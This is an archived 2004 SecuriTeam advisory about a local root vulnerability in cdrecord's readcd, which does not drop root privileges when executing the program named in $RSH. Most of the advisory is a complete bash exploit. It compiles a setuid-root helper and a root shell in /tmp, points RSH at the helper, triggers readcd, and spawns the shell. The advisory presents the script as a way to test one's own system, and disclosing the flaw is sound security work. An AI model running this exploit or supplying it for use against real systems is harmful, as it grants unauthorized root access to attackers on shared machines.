Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] CDRecord's readcd Local Root Privileges

Subject: [EXPL] CDRecord's readcd Local Root Privileges
Date: 19 Sep 2004 14:42:19 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  CDRecord's readcd Local Root Privileges
------------------------------------------------------------------------


SUMMARY

Max Vozeler found that the cdrecord program, which is suid root, fails to 
drop euid=0 when it exec()s a program specified by the user through the 
$RSH environment variable. This can be abused by a local attacker to 
obtain root privileges. The following exploit code can be used to test 
your system for the mentioned vulnerability.

DETAILS

Exploit:
#!/bin/bash

echo "readcd-exp.sh -- ReadCD local exploit ( Test on 
cdrecord-2.01-0.a27.2mdk)"
echo "Author : newbug [at] chroot.org"
echo "Date :09.13.2004"
echo "IRC : irc.chroot.org #discuss"

export READCD=/usr/bin/readcd
cd /tmp

cat > s.c <<_EOF_
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>

int main()
{
        setuid(0);setgid(0);
        chown("/tmp/ss", 0, 0);
        chmod("/tmp/ss", 04755);

 return 0;
}

_EOF_

cat > ss.c <<_EOF_
#include <stdio.h>

int main()
{
        setuid(0);setgid(0);
        execl("/bin/bash","bash",(char *)0);

 return 0;
}
_EOF_

gcc -o s s.c
gcc -o ss ss.c

export RSH=/tmp/s
$READCD dev=REMOTE:brk.chroot.org:1,0,1 1  >/dev/null 2>&1
/tmp/ss


ADDITIONAL INFORMATION

The information has been provided by  <mailto:newbug@chroot.org> newbug 
Tseng.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] CDRecord's readcd Local Root Privileges, SecuriTeam <=